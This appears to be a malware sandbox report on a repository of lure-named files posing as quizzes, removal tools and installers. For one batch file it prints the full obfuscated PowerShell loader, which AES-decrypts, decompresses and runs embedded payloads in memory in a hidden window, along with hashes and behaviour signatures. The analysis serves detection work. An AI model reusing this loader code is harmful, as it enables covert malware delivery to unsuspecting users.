Overview
overview
10Static
static
10zvgfd-main...iz.bat
windows7-x64
1zvgfd-main...iz.bat
windows10-2004-x64
1zvgfd-main...lt.exe
windows7-x64
zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main/Client.bat
windows7-x64
8zvgfd-main/Client.bat
windows10-2004-x64
10zvgfd-main...lt.exe
windows7-x64
zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main... .exe
windows7-x64
10zvgfd-main... .exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows7-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows7-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10Exculsion/...dec.js
windows7-x64
3Exculsion/...dec.js
windows10-2004-x64
3zvgfd-main...ve.bat
windows7-x64
8zvgfd-main...ve.bat
windows10-2004-x64
10zvgfd-main...ve.exe
windows7-x64
10zvgfd-main...ve.exe
windows10-2004-x64
10zvgfd-main...V2.exe
windows7-x64
10zvgfd-main...V2.exe
windows10-2004-x64
10zvgfd-main...ll.exe
windows7-x64
5zvgfd-main...ll.exe
windows10-2004-x64
zvgfd-main...up.exe
windows10-2004-x64
8zvgfd-main/Output.exe
windows7-x64
3zvgfd-main/Output.exe
windows10-2004-x64
10zvgfd-main/Part 1.bat
windows7-x64
8zvgfd-main/Part 1.bat
windows10-2004-x64
10zvgfd-main...om.exe
windows7-x64
1zvgfd-main...om.exe
windows10-2004-x64
1zvgfd-main...er.exe
windows7-x64
10Analysis
-
max time kernel
117s -
max time network
136s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 18:28
Static task
static1
Behavioral task
behavioral1
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
zvgfd-main/Client-built.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
zvgfd-main/Client-built.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
zvgfd-main/Client.bat
Resource
win7-20240611-en
Behavioral task
behavioral6
Sample
zvgfd-main/Client.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
zvgfd-main/Client_built.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
zvgfd-main/Client_built.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win7-20240419-en
Behavioral task
behavioral10
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral11
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral13
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win7-20240220-en
Behavioral task
behavioral14
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral15
Sample
Exculsion/Source/Remote-Access-Tools/Quasar/Quasar.Common/Video/Codecs/UnsafeStreamCodec.js
Resource
win7-20240508-en
Behavioral task
behavioral16
Sample
Exculsion/Source/Remote-Access-Tools/Quasar/Quasar.Common/Video/Codecs/UnsafeStreamCodec.js
Resource
win10v2004-20240611-en
Behavioral task
behavioral17
Sample
zvgfd-main/Fanta.Live.bat
Resource
win7-20240611-en
Behavioral task
behavioral18
Sample
zvgfd-main/Fanta.Live.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral19
Sample
zvgfd-main/Fanta.Live.exe
Resource
win7-20240508-en
Behavioral task
behavioral20
Sample
zvgfd-main/Fanta.Live.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral21
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win7-20231129-en
Behavioral task
behavioral22
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral23
Sample
zvgfd-main/Install.exe
Resource
win7-20240611-en
Behavioral task
behavioral24
Sample
zvgfd-main/Install.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral25
Sample
zvgfd-main/OperaGXSetup.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral26
Sample
zvgfd-main/Output.exe
Resource
win7-20240611-en
Behavioral task
behavioral27
Sample
zvgfd-main/Output.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral28
Sample
zvgfd-main/Part 1.bat
Resource
win7-20240221-en
Behavioral task
behavioral29
Sample
zvgfd-main/Part 1.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral30
Sample
zvgfd-main/Phantom.exe
Resource
win7-20240508-en
Behavioral task
behavioral31
Sample
zvgfd-main/Phantom.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral32
Sample
zvgfd-main/PyMain Installer.exe
Resource
win7-20240611-en
General
-
Target
zvgfd-main/Fanta.Live.bat
-
Size
470KB
-
MD5
7d81002800c60fb2b26946fc534b8987
-
SHA1
085d813ec8bf7f691d48a78011938b4a9f24b5e9
-
SHA256
0a2bc7043be8903606338c714d20d132b877001c2789f368b30dae44aa80d888
-
SHA512
b16f7ff8bb002954dd2cc6732a122c25b2b66a75bc26800f1b031014a67a5f5f494b7f2ef1457b5cc93cf4d3a6fe62db3c51812ea413f430bdde144a3b06aa8e
-
SSDEEP
12288:GUMoYDGcH1BKxCob3At/nb5mdrKIegQ25Mf0/FhP:DUD9HHKlb3Qdm5KIA2p
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2128 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exedescription pid process target process PID 1732 wrote to memory of 1104 1732 cmd.exe cmd.exe PID 1732 wrote to memory of 1104 1732 cmd.exe cmd.exe PID 1732 wrote to memory of 1104 1732 cmd.exe cmd.exe PID 1732 wrote to memory of 2128 1732 cmd.exe powershell.exe PID 1732 wrote to memory of 2128 1732 cmd.exe powershell.exe PID 1732 wrote to memory of 2128 1732 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Fanta.Live.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZV95zl/ITrrxGrdsAimI2fwOP1zOtvHSQ193ReYto+k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bvkPHp90/lTTmNOsSK9ONg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WrCYx=New-Object System.IO.MemoryStream(,$param_var); $hOItm=New-Object System.IO.MemoryStream; $JSqsS=New-Object System.IO.Compression.GZipStream($WrCYx, [IO.Compression.CompressionMode]::Decompress); $JSqsS.CopyTo($hOItm); $JSqsS.Dispose(); $WrCYx.Dispose(); $hOItm.Dispose(); $hOItm.ToArray();}function execute_function($param_var,$param2_var){ $DVlGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $euKiJ=$DVlGZ.EntryPoint; $euKiJ.Invoke($null, $param2_var);}$nLwlA = 'C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Fanta.Live.bat';$host.UI.RawUI.WindowTitle = $nLwlA;$lbBUo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nLwlA).Split([Environment]::NewLine);foreach ($BNDvA in $lbBUo) { if ($BNDvA.StartsWith('QpwAfllqiaJfGjCUaDLA')) { $GHscV=$BNDvA.Substring(20); break; }}$payloads_var=[string[]]$GHscV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2128-4-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmpFilesize
4KB
-
memory/2128-6-0x00000000024A0000-0x00000000024A8000-memory.dmpFilesize
32KB
-
memory/2128-5-0x000000001B150000-0x000000001B432000-memory.dmpFilesize
2.9MB
-
memory/2128-7-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
-
memory/2128-8-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
-
memory/2128-9-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
-
memory/2128-10-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
-
memory/2128-11-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
-
memory/2128-12-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmpFilesize
4KB